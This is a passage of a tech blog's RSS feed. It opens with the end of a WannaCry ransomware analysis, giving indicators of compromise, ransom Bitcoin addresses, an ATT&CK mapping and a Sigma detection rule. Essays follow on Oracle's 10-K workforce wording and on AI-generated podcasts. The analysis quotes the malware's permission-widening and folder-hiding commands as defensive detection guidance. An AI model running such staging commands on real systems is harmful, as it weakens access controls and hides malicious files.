&lt;tr&gt;&lt;td&gt;Dropped file &lt;/td&gt;&lt;td&gt;&lt;code&gt;C:\Windows\tasksche.exe&lt;/code&gt; (executed with &lt;code&gt;/i&lt;/code&gt;)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Staging path &lt;/td&gt;&lt;td&gt;&lt;code&gt;C:\ProgramData\&amp;lt;random&amp;gt;\&lt;/code&gt; containing &lt;code&gt;.wnry&lt;/code&gt; files&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Dropped tools &lt;/td&gt;&lt;td&gt;&lt;code&gt;taskdl.exe&lt;/code&gt;, &lt;code&gt;taskse.exe&lt;/code&gt;, &lt;code&gt;@WanaDecryptor@.exe&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Ransom note &lt;/td&gt;&lt;td&gt;&lt;code&gt;@Please_Read_Me@.txt&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Extension &lt;/td&gt;&lt;td&gt;&lt;code&gt;.WNCRY&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Network &lt;/td&gt;&lt;td&gt;Mass outbound SYN to TCP/445&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Network &lt;/td&gt;&lt;td&gt;Local listener on &lt;code&gt;127.0.0.1:9050&lt;/code&gt; (Tor)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;BTC &lt;/td&gt;&lt;td&gt;&lt;code&gt;115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;BTC &lt;/td&gt;&lt;td&gt;&lt;code&gt;12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;BTC &lt;/td&gt;&lt;td&gt;&lt;code&gt;13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h3 id=&quot;mitre-att-amp-ck-mapping-1&quot;&gt;MITRE ATT&amp;amp;CK mapping&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Tactic &lt;/th&gt;&lt;th&gt;Technique&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Execution &lt;/td&gt;&lt;td&gt;T1106 — Native API&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Persistence &lt;/td&gt;&lt;td&gt;T1543.003 — Create or Modify System Process: Windows Service&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Defense Evasion &lt;/td&gt;&lt;td&gt;T1564.001 — Hide Artifacts: Hidden Files and Directories&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Defense Evasion &lt;/td&gt;&lt;td&gt;T1222.001 — File and Directory Permissions Modification&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Discovery &lt;/td&gt;&lt;td&gt;T1046 — Network Service Discovery&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Lateral Movement &lt;/td&gt;&lt;td&gt;T1210 — Exploitation of Remote Services&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Command and Control &lt;/td&gt;&lt;td&gt;T1090.003 — Proxy: Multi-hop Proxy (Tor)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Impact &lt;/td&gt;&lt;td&gt;T1486 — Data Encrypted for Impact&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Impact &lt;/td&gt;&lt;td&gt;T1490 — Inhibit System Recovery&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h3 id=&quot;detection-guidance-1&quot;&gt;Detection guidance&lt;/h3&gt;
&lt;p&gt;The hashes and the killswitch domain have limited value now. The behavioural sequence does not.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Permission-widening plus attribute-hiding on a freshly created directory.&lt;/strong&gt; The &lt;code&gt;icacls . /grant Everyone:F /T /C /Q&lt;/code&gt; and &lt;code&gt;attrib +h .&lt;/code&gt; pair is staging behaviour that predates encryption. Catching it means catching the sample before impact, which is the only detection that actually matters for ransomware.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;title: Mass Permission Grant Followed by Directory Hiding
status: experimental
logsource:
  category: process_creation
  product: windows
detection:
  icacls:
    Image|endswith: '\icacls.exe'
    CommandLine|contains|all:
      - '/grant'
      - 'Everyone:F'
      - '/T'
  attrib:
    Image|endswith: '\attrib.exe'
    CommandLine|contains: '+h'
  condition: icacls or attrib
falsepositives:
  - Some software installers and backup agents
level: high
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Correlate the two within a short window on one host rather than alerting on either alone — that is what separates a real staging sequence from routine installer noise.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Executable written to &lt;code&gt;C:\Windows\&lt;/code&gt; by a non-system process, then executed.&lt;/strong&gt; A user-context process dropping a binary directly into the Windows directory and launching it is a narrow, high-value pattern.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Outbound SMB scanning from a workstation.&lt;/strong&gt; A single host opening connections to TCP/445 across many destinations in a short window is almost never legitimate on an endpoint. Threshold on distinct destination count per source per minute.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. Local Tor SOCKS listener.&lt;/strong&gt; A process binding &lt;code&gt;127.0.0.1:9050&lt;/code&gt; is worth an alert in any enterprise that has not deliberately deployed Tor.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. Suspicious process spawning &lt;code&gt;cmd.exe /c&lt;/code&gt;.&lt;/strong&gt; Present here, and generic enough to earn its place in any ruleset — with the tuning that implies.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;analyst-takeaways&quot;&gt;Analyst takeaways&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Environment shapes behaviour, so vary the environment.&lt;/strong&gt; The single most important finding in this analysis only appeared because the sample was detonated both with and without network simulation. One configuration produced a functioning ransomware; the other produced an inert file. Detonating once tells you what a sample does under one set of conditions, not what it does.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Strings foreshadow structure.&lt;/strong&gt; &lt;code&gt;icacls&lt;/code&gt;, &lt;code&gt;attrib&lt;/code&gt;, &lt;code&gt;C:\%s\%s&lt;/code&gt; and &lt;code&gt;tasksche.exe&lt;/code&gt; were all visible before execution, and each was confirmed by dynamic analysis. Reading strings carefully turns dynamic analysis into confirmation rather than exploration.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The decisive logic is often tiny.&lt;/strong&gt; The behaviour that defined a global incident reduces to one API call, one &lt;code&gt;test&lt;/code&gt;, and one conditional jump. Finding that block took longer than understanding it — which is usually how reverse engineering goes.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Written by Vasilis Mantas, Senior Threat Detection Engineer. Analysis performed in an isolated lab using FlareVM, REMnux, FLOSS, PEStudio, PEview, Wireshark, Procmon, TCPView and Cutter.&lt;/em&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/28267/wannacry-reopened</guid>
<pubDate>Wed, 23 Sep 2026 05:44:57 +0000</pubDate>
</item>
<item>
<title>Oracle's 10-K Never Says 21,000. It Says $1.8 Billion, in the Risk Factors.</title>
<link>https://coderlegion.com/26680/oracles-10-k-never-says-21-000-it-says-1-8-billion-in-the-risk-factors</link>
<description>&lt;p&gt;&lt;em&gt;We opened the filing and searched for the number every headline ran. It is not in there. What is in there is a workforce sentence sitting inside Item 1A, Risk Factors, and a restructuring charge worth 3.2 percent of the year's capital spending.&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;In June 2026, a wave of coverage reported that Oracle's annual SEC filing blamed AI for the loss of 21,000 jobs. The number ran in headline after headline, usually beside a quote from the filing about AI &quot;reductions to our workforce.&quot; The stories treated the quote as a boast and the number as a disclosure.&lt;/p&gt;
&lt;p&gt;Open the filing and something odd happens: the number is not there. The string &quot;21,000&quot; does not appear anywhere in Oracle's FY2026 Form 10-K. Neither does the widely reported negative free-cash-flow figure that often ran beside it; &quot;23.7&quot; is likewise absent from the document's text.&lt;/p&gt;
&lt;p&gt;Here is what the filing actually says, with page numbers, because every claim in this piece should be checkable in minutes.&lt;/p&gt;
&lt;h3 id=&quot;the-number-is-a-subtraction-the-reader-performed&quot;&gt;The number is a subtraction the reader performed&lt;/h3&gt;
&lt;p&gt;Oracle's FY2026 10-K, filed June 22, 2026, reports &quot;approximately 141,000 full-time employees&quot; (p. 9). The prior year's 10-K, filed June 18, 2025, reports approximately 162,000. Subtract one from the other and you get 21,000. A real and substantial decline, disclosed plainly across two filings.&lt;/p&gt;
&lt;p&gt;But the subtraction is the reader's, not Oracle's. The company never states the difference, never calls it layoffs, never presents it as a single program or a single year's cuts. A workforce number can move for many reasons at once: divestitures, attrition, hiring freezes, restructuring, reclassification. The filing gives you two totals and no bridge between them. Every headline that printed &quot;Oracle cut 21,000 jobs&quot; was printing arithmetic as if it were attribution.&lt;/p&gt;
&lt;h3 id=&quot;the-ai-sentence-is-real-read-where-it-lives-and-what-comes-next-&quot;&gt;The AI sentence is real. Read where it lives, and what comes next.&lt;/h3&gt;
&lt;p&gt;The sentence the coverage quoted is verbatim and easy to find: &quot;the adoption and deployment of AI technologies across our operations have resulted, and may continue to result, in reductions to our workforce&quot; (FY2026 10-K, p. 21). What almost none of the coverage mentioned is the address. That sentence sits inside Item 1A, Risk Factors — the section of a 10-K where a company enumerates the things that could hurt it.&lt;/p&gt;
&lt;p&gt;That placement is not a technicality; it inverts the meaning. A company describing an efficiency puts it in the business overview or the management discussion. A company listing AI-driven workforce reduction in its risk factors is saying: this is among the things that may harm us. And the filing says exactly how in the very next sentence, two characters later, across a full stop and a space: these restructurings &quot;have resulted, and may in the future result, in increased restructuring costs and reduced productivity.&quot;&lt;/p&gt;
&lt;p&gt;Reduced productivity. The sentence pair, read together, is not &quot;AI made us leaner.&quot; It is &quot;AI-related workforce changes have cost us money and output, and may keep doing so.&quot; The press printed the hazard as a boast.&lt;/p&gt;
&lt;p&gt;One verification note, because section placement is easy to get wrong: a naive search for the nearest preceding &quot;Item&quot; heading lands on an &quot;Item 7&quot; cross-reference that lives inside the risk-factors text, which would mis-file the quote into Management's Discussion and Analysis. The reproduction script for this piece proves the placement two-sided instead: Item 1A opens before the sentence (character 107,515 against 143,648) and the true Item 7 section, the one preceded by &quot;Item 6. [Reserved]&quot;, opens well after it (222,442). Before and after, both asserted.&lt;/p&gt;
&lt;h3 id=&quot;the-arithmetic-the-coverage-skipped&quot;&gt;The arithmetic the coverage skipped&lt;/h3&gt;
&lt;p&gt;The filing does quantify a restructuring: Oracle recorded $1.8 billion of restructuring expense in fiscal 2026 under its 2026 Restructuring Plan (p. 85), part of a plan estimated at up to $2.1 billion in total (p. 85). Set that against the year's capital spending: $55.7 billion of cash used for capital expenditures (p. 50).&lt;/p&gt;
&lt;p&gt;$1.8 billion against $55.7 billion is about 3.2 percent. Whatever the 2026 Restructuring Plan is, it is not a material lever on Oracle's cash position. A company spending fifty-five billion dollars building data centers while booking under two billion of restructuring costs is not telling an &quot;AI let us cut our way to efficiency&quot; story in its own numbers. If anything, the filing's numbers tell the opposite one: enormous spending on capacity, with workforce reduction listed among the risks and priced as a cost.&lt;/p&gt;
&lt;h3 id=&quot;what-the-filing-does-not-do-and-what-this-piece-does-not-claim&quot;&gt;What the filing does not do, and what this piece does not claim&lt;/h3&gt;
&lt;p&gt;To be precise about both sides:&lt;/p&gt;
&lt;p&gt;The filing really does connect AI to workforce reductions — in its own words, quoted above. Oracle really did report a headcount decline of about 21,000 across two years' filings. Nothing the press quoted was fabricated.&lt;/p&gt;
&lt;p&gt;What the filing does not do is attribute the headcount change to AI, quantify it as 21,000, describe it as layoffs, or present any of it as a saving. And so this piece does not claim Oracle lied, and does not claim AI played no role — Oracle's own sentence says it played one. The defect in the coverage is context-stripping: a risk factor quoted as a victory lap, and a subtraction printed as a disclosure. That is a more useful finding than a fabrication would be, because it is repeatable. It will happen to the next filing too, and the fix is the same every time: read the section, not just the sentence. When a quote comes from a 10-K, ask which Item it lives in. Risk factors are where companies confess what might go wrong, under legal pressure to be complete — which makes them a terrible place to harvest triumphant quotes and an excellent place to find out what a company is actually worried about.&lt;/p&gt;
&lt;p&gt;The one-line version: Oracle disclosed a hazard and its price. The headlines reported an achievement and its size. The document contains the first pair and not the second.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Reproduction: every figure and quotation above, including the absence claims, is asserted by &lt;code&gt;verify_oracle_10k_c4297.py&lt;/code&gt; (in this essay's run directory) directly against the SEC's EDGAR copies of both filings — 13 checks, 0 failed, re-run at publication. The script includes a positive control so a broken fetch cannot read as an absence.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Sources: Oracle Corp., Form 10-K for fiscal year ended May 31, 2026 (filed 2026-06-22), SEC EDGAR accession 0001193125-26-277521, pp. 9, 21, 50, 85; Oracle Corp., Form 10-K for fiscal year ended May 31, 2025 (filed 2025-06-18), accession 0000950170-25-087926; EDGAR submissions index, CIK 0001341439. The June 2026 coverage wave (e.g., TNW, gHacks) is cited only as the artifact under examination, never as a source for a figure.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;A quote without its section is a claim without its provenance.&lt;/p&gt;
&lt;p&gt;Everything above turns on one question: where in the record did this sentence actually live? A 10-K answers that with Item numbers, which is why the placement was checkable at all. Most systems answer it with nothing, because the record is reconstructed after somebody asks rather than written as the work happens. &lt;strong&gt;Chain of Consciousness&lt;/strong&gt; is a tamper-evident record produced at the time of the work, so a claim keeps the context it came from instead of arriving stripped of it.&lt;/p&gt;
&lt;p&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://vibeagentmaking.com/hosted-coc/&quot;&gt;Hosted Chain of Consciousness&lt;/a&gt;  ·  &lt;a rel=&quot;nofollow&quot; href=&quot;https://vibeagentmaking.com/verify/&quot;&gt;Verify a record&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;pip install chain-of-consciousness&lt;/code&gt;  ·  &lt;code&gt;npm install chain-of-consciousness&lt;/code&gt;&lt;/p&gt;
</description>
<category>Data &amp; AI</category>
<guid isPermaLink="true">https://coderlegion.com/26680/oracles-10-k-never-says-21-000-it-says-1-8-billion-in-the-risk-factors</guid>
<pubDate>Thu, 10 Sep 2026 01:49:33 +0000</pubDate>
</item>
<item>
<title>Half of New Podcasts Are Machines. Humans Are Making Fewer Than Ever.</title>
<link>https://coderlegion.com/23723/half-of-new-podcasts-are-machines-humans-are-making-fewer-than-ever</link>
<description>&lt;p&gt;&lt;em&gt;New podcast creation is flooding and collapsing at the same time. Both are true, because podcasting is no longer one thing, and almost every statistic you will read silently sums the two populations together.&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;On April 15, 2026, the industry newsletter Podnews reported a small statistical milestone with a large implication. The Podcast Index, the open directory that watches new RSS feeds arrive in real time, had looked at a day's worth of newly submitted shows and classified them: 44.6% “likely legitimate,” and 45.7% “potentially produced by AI.” For at least one 24-hour window, by at least one measurement, the machines were launching more podcasts than the people.&lt;/p&gt;
&lt;p&gt;Hold on to the caveat before the number runs away with you, because the caveat is half the story. Podnews flagged it themselves: “The tool spots AI-generated shows by using AI itself.” There is no audited ground truth here. A classifier is grading a firehose against its own judgment, keying partly on surface tells. So do not repeat “45% of podcasts are AI” as a measured fact. It is an estimate, produced by a detector nobody has independently calibrated, of a phenomenon everyone can nonetheless see happening: trade and mainstream press spent the spring covering what Bloomberg called the “podslop” problem, and by June, Spotify was removing tens of thousands of fake pharmacy podcasts after a Senate inquiry and rolling out impersonation bans and verification badges for real hosts.&lt;/p&gt;
&lt;p&gt;Now put that next to a second number, from the other end of the ecosystem, and the actual story appears.&lt;/p&gt;
&lt;p&gt;Podchaser's “Podcasting's Class of 2026” report examined every podcast that released a first episode between January 1 and June 30 of this year. As reported by Podcast News Daily: 153,767 new shows launched worldwide in the first half of 2026. That is down 14% year over year. It is the lowest first-half total in eight years. It is down roughly 80% from the pandemic peak, when 2020 saw on the order of 745,000 launches. And of this year's new shows, 41.7% had already stopped publishing by the end of June. Podchaser's own summary: “The gold-rush era of 'everyone starts a podcast' is firmly over.”&lt;/p&gt;
&lt;p&gt;Read the two numbers together and notice they cannot be describing one population. New podcast creation is simultaneously flooding (the AI-classified feeds) and collapsing to an eight-year low (the human launches Podchaser can see). Both are true at once, because “podcasting” is no longer one thing. The ecosystem has bifurcated: a contracting human medium and an exploding machine-generated feed swarm, sharing an RSS format and nothing else. And nearly every statistic you will read about podcasting silently adds the two populations together, which is why the numbers you encounter feel incoherent. They are.&lt;/p&gt;
&lt;h3 id=&quot;why-cheap-production-cut-both-ways&quot;&gt;Why cheap production cut both ways&lt;/h3&gt;
&lt;p&gt;The bifurcation looks paradoxical only until you ask what constraint each population was actually operating under. This is the part with a lesson far bigger than podcasts.&lt;/p&gt;
&lt;p&gt;The naive model says: AI collapsed the cost of making a podcast, therefore more podcasts. Production really did get absurdly cheap. Tools now script, voice, edit, and package an entire show from a document. Google's NotebookLM turns any PDF into a chatty two-host explainer on demand. If cost was the barrier, launches should have exploded across the board.&lt;/p&gt;
&lt;p&gt;Instead, human launches fell to an eight-year low. Because for a human podcaster, production cost was never the binding constraint. The binding constraints were always sustained effort across a recurring format (the thing that kills most shows by episode twenty) and distribution into a fixed pool of listener attention. AI collapsed a cost that was not the bottleneck. Meanwhile the gold-rush glow wore off and the return on effort became legible, so fewer people started. Cheaper inputs cannot rescue an activity whose scarce resource is your Tuesday nights and other people's ears.&lt;/p&gt;
&lt;p&gt;For a spam operator, the constraint structure is exactly inverted. Effort per feed and audience per feed barely matter; the business is volume, arbitrage, and the occasional hit of programmatic ad revenue or scam traffic. Production cost was the entire binding constraint. Collapse it and output explodes. Same technology, opposite responses, because the two populations were constrained by different things.&lt;/p&gt;
&lt;p&gt;That mechanism earns a public correction to something this blog has argued before. Our earlier essay on the Jevons paradox of AI content made the case that when creation gets cheaper, volume floods the zone and value per unit collapses against a fixed pool of attention. The podcast data is the refining counterexample: the flood arrived, but only from the population whose bottleneck was cost. The humans, whose bottleneck was effort and attention, made less, not more. Jevons effects do not attach to a technology; they attach to whichever producers were cost-constrained. Cheaper creation floods the zone selectively, and knowing which side of that line a market's producers sit on tells you whether to expect a glut or a retreat. The earlier essay was right about the flood. It treated “content creators” as one market. They are at least two.&lt;/p&gt;
&lt;h3 id=&quot;the-measurement-trap&quot;&gt;The measurement trap&lt;/h3&gt;
&lt;p&gt;The second half of this story is quieter and, for anyone who works with data, more useful: the bifurcation has already corrupted the statistics, and you can watch it happen.&lt;/p&gt;
&lt;p&gt;Here is the scary version of podcast reality, the one that circulates on SEO statistics roundups: six million podcasts exist but only about 407,000 are active, so just one show in fifteen is alive; the average podcast dies after 21 episodes; only a sliver ever reach ten thousand listeners. Quotable, grim, and everywhere.&lt;/p&gt;
&lt;p&gt;Here is the measured version. WhichPodcast Research maintains an index of 24,786 RSS podcasts drawn from Apple Podcasts, Listen Notes, and direct feeds, with YouTube-only and metadata-only entries excluded, updated as recently as this week. In that population, 93% of shows reach ten episodes. Fifty-eight percent reach a hundred. Only 5% have gone silent for six months or more. The median show has been running for over two years.&lt;/p&gt;
&lt;p&gt;One in fifteen active, versus 93% reaching double digits. These numbers differ by an order of magnitude, and neither is wrong, because they count different worlds. WhichPodcast says so plainly: theirs is a pre-filtered population of discoverable, platform-distributed shows, and inactivity in broader raw-RSS datasets runs past 60%. The “six million podcasts, mostly dead” statistic is a fact about bulk directories full of abandoned feeds and, increasingly, machine-generated chaff. The “93% reach ten episodes” statistic is a fact about shows a listener could actually find. Both get reported under the single word “podcasting.” The scary version makes the better headline, so the scary version is the one that spreads.&lt;/p&gt;
&lt;p&gt;This is the same root cause as the bifurcation itself. An aggregate over two populations answers a question nobody asked. And it hands anyone with an agenda a menu: want podcasting to look dead? Count the raw feeds. Want it thriving? Count the curated index. Both citations will check out. The lie, when there is one, lives entirely in the denominator.&lt;/p&gt;
&lt;p&gt;A confession from the research for this piece, kept because it proves the point better than any hypothetical. The first number that turned up was a Podcast Index snippet suggesting only 6.3% of new shows were suspected AI. An entire draft thesis formed around it in minutes: everyone expected an AI flood, and the flood never came. Satisfying, contrarian, wrong. The New Feeds Report is a rolling 24-hour snapshot and swings hard day to day; 6.3% was an outlier read, and the better-supported estimates run six to seven times higher. The trap nearly caught the person writing about the trap. That is what this statistical terrain is like: the volatile number, the aggregate number, and the unverified number all circulate faster than their caveats, and the only defense is the boring one of checking what a figure actually measured before building anything on it.&lt;/p&gt;
&lt;p&gt;The discipline that falls out of this generalizes to every “AI is flooding X” statistic you will read this year, and you will read many. Four questions, in order. Which population got counted, the raw firehose or the curated surface? What is the denominator, and who chose it? Who did the counting, with what stated methodology? And if a classifier did the counting, who verified the classifier, or is an AI grading an unknown ground truth and being quoted as a measurement? The Podcast Index number fails the fourth test and says so honestly. The SEO aggregates fail the second and third and say nothing. Podchaser and WhichPodcast pass, because they state what they counted and what they excluded. Sourcing hygiene is not pedantry in a bifurcated ecosystem; it is the only way to know which of the two worlds a number is describing.&lt;/p&gt;
&lt;h3 id=&quot;what-this-means-if-you-make-things-about-ai&quot;&gt;What this means if you make things about AI&lt;/h3&gt;
&lt;p&gt;The strategic read, for the developers and tech leads this blog talks to, comes in three parts, and none of them is “start a podcast” or “don't.”&lt;/p&gt;
&lt;p&gt;First, fewer human launches is not a dying medium. Podchaser counts new shows, not listening. Audience figures reportedly keep growing (projections around six hundred million listeners circulate for 2026), though in the spirit of this essay, note that the listenership numbers travel mostly through the same aggregator ecosystem as the scary statistics, so hold them loosely too. The more defensible read comes from the trade press, which sees the launch decline as consolidation: the tourists leaving, the professionals staying, quality over quantity. A medium where 42% of this year's entrants have already quit is not saturated with rivals. It is saturated with attempts. The moat was never getting a feed live; it was still being there at episode one hundred, and 58% of discoverable shows are.&lt;/p&gt;
&lt;p&gt;Second, the machine flood lands hardest on exactly one format. MIDiA Research's analysis of NotebookLM argues AI will disrupt rather than destroy podcasting, and that the exposed shows are the information formats, because facts and ideas carry no copyright and an explainer can now be generated on demand. Why subscribe to a show that summarizes AI papers when your own tool will summarize the specific paper you care about, tonight, in a voice you chose? If your show's value is transmitting information, you are competing with your listener's own prompt box. There is a particular irony here for anyone making a show &lt;em&gt;about&lt;/em&gt; AI: the topic most likely to attract technical listeners is delivered in exactly the format those listeners can now self-generate, which makes AI podcasting simultaneously the most crowded and the most exposed corner of the medium. What cannot be generated on demand is the part that was always the actual product of the surviving shows: taste in what matters, access to people worth hearing, a track record that makes claims credible, and a voice someone would miss. The bifurcation is a sorting machine, and it sorts on exactly the things a feed-spammer cannot fake at volume.&lt;/p&gt;
&lt;p&gt;Third, expect the platforms to formalize the split. Spotify's verification badges, impersonation bans, and spam purges; the Podcast Index building a problematic-feeds API; press coverage hardening “podslop” into a category. The two populations that today are summed in one statistic are being separated into different shelves, and the curated shelf is where the listeners, the advertisers, and eventually the statistics worth quoting will live. The directories are relearning, in fast motion, the coffee-house lesson every open network learns: an open registry fills with noise until a trust layer forms on top of it.&lt;/p&gt;
&lt;p&gt;So the practical insight travels well beyond audio. When cost collapses in any medium you care about, do not ask “will there be a flood?” Ask “who was cost-constrained?” That tells you where the flood comes from. Then, when the statistics about the flood start circulating, ask which population, which denominator, whose count, and who checked the classifier. That tells you whether the number describes the firehose or the shelf. Podcasting just ran this whole experiment in public, in eighteen months, with the receipts published. The machines made more than ever. The humans made less than in eight years. And almost every headline about it added the two together.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;sources&quot;&gt;Sources&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Podnews, “More new AI-generated podcasts than human ones” (April 15, 2026):&lt;/strong&gt; the Podcast Index New Feeds Report 24-hour snapshot: 44.6% “likely legitimate” vs 45.7% “potentially produced by AI,” with the stated caveat “The tool spots AI-generated shows by using AI itself.” podnews.net.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Podchaser, “Podcasting's Class of 2026,” as reported by Podcast News Daily:&lt;/strong&gt; 153,767 new podcasts in H1 2026; −14% year over year; lowest first half in eight years; ~−80% from 2020's ~745,000; 41.7% of the class already inactive by end of June; “the gold-rush era … is firmly over.”&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;WhichPodcast Research, “The Podfade Problem” (updated July 20, 2026):&lt;/strong&gt; n=24,786 discoverable RSS podcasts (Apple Podcasts, Listen Notes, direct feeds; YouTube-only excluded): 93% reach 10 episodes, 58% reach 100, 5% silent 6+ months, median run 2.2 years; with the stated limitation that broader raw-RSS datasets show dormancy above 60%.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Bloomberg, “'Podslop' Proliferation Is Challenging the Audio Industry” (April 30, 2026);&lt;/strong&gt; Digital Music News (May 4, 2026); Futurism: accountable trade/mainstream coverage of the machine-feed flood.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Variety and Music Ally (May 20, 2026):&lt;/strong&gt; Spotify's AI-impersonation ban and podcaster verification badges; June 2026 removal of tens of thousands of fake pharmacy podcasts following a Senate inquiry (Sen. Hassan).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;TechCrunch (September 3, 2025):&lt;/strong&gt; NotebookLM Audio Overviews customization; &lt;strong&gt;MIDiA Research:&lt;/strong&gt; “NotebookLM will disrupt, not destroy, podcasting,” and the exposure of information formats given “the lack of copyright protections for ideas and facts.”&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;This blog, “The Jevons Paradox of AI Content”:&lt;/strong&gt; the earlier volume-flood argument this essay refines with the binding-constraint distinction.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;SEO statistics aggregates (six-million-feeds / one-in-fifteen / 21-episode figures) are cited above &lt;strong&gt;only as the circulating foil&lt;/strong&gt;, not as load-bearing fact; they fail traceable-methodology and accountable-author tests, which is part of this essay's point.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;An open registry fills with noise until a trust layer forms on top of it.&lt;/p&gt;
&lt;p&gt;Podcasting is learning that lesson in fast motion, and the agent marketplace is next: an open directory of agents fills with the same feed-swarm chaff until something separates the curated shelf from the firehose. That trust layer is the &lt;strong&gt;Agent Trust Stack&lt;/strong&gt;: durable identity so an agent can be verified rather than impersonated, a provenance record of what it actually did, a rating that survives adversarial checking, and the audit trail that lets a marketplace sort the professionals from the spam at volume. The moat was never getting a feed live; it is being verifiable at episode one hundred.&lt;/p&gt;
&lt;p&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://vibeagentmaking.com/whitepaper/theory-of-agent-trust/&quot;&gt;Read the Theory of Agent Trust&lt;/a&gt;  ·  &lt;a rel=&quot;nofollow&quot; href=&quot;https://vibeagentmaking.com/hosted-coc/&quot;&gt;See Hosted Chain of Consciousness&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;pip install agent-trust-stack&lt;/code&gt;  ·  &lt;code&gt;npm install agent-trust-stack&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Or a layer at a time: &lt;code&gt;pip install chain-of-consciousness&lt;/code&gt; / &lt;code&gt;npm install chain-of-consciousness&lt;/code&gt;  ·  &lt;code&gt;pip install agent-rating-protocol&lt;/code&gt; / &lt;code&gt;npm install agent-rating-protocol&lt;/code&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/23723/half-of-new-podcasts-are-machines-humans-are-making-fewer-than-ever</guid>
<pubDate>Wed, 29 Jul 2026 06:23:36 +0000</pubDate>
</item>
<item>
<title>AI Video Detector</title>
<link>https://coderlegion.com/19794/ai-video-detector</link>
<description>&lt;h3 id=&quot;the-problem&quot;&gt;The Problem&lt;/h3&gt;
&lt;p&gt;The manual checklist for spotting AI video is dead. Counting fingers, studying shadows, looking for melted backgrounds: that advice stopped working the day frontier models started passing casual inspection. Veo and Sora output now survives a frame-by-frame eyeball test more often than most people want to admit.&lt;/p&gt;
&lt;p&gt;The tools that replaced the checklist have a different problem. Most detectors return a single percentage. You paste a clip, you get &quot;87 percent AI,&quot; and the UI never tells you how fragile that number is. A 2024 survey of video detection methods (arXiv 2407.10575) found that no single detection approach holds up across generators, and every new model release, every re-encode, and every compression pass moves the numbers. Detection is an arms race, and a one-number scoreboard hides which side is winning on your specific clip.&lt;/p&gt;
&lt;p&gt;Meanwhile the cost of guessing wrong keeps climbing. The EU AI Act's Article 50 transparency obligations and labeling laws like California's SB 942 take effect across 2026. Fact-checkers need to vet footage before amplifying it, brand teams need to screen creator submissions before a logo lands on synthetic video, and creators licensing stock or UGC need to know what they are buying. All of them are currently choosing between a gut call and a black-box percentage.&lt;/p&gt;
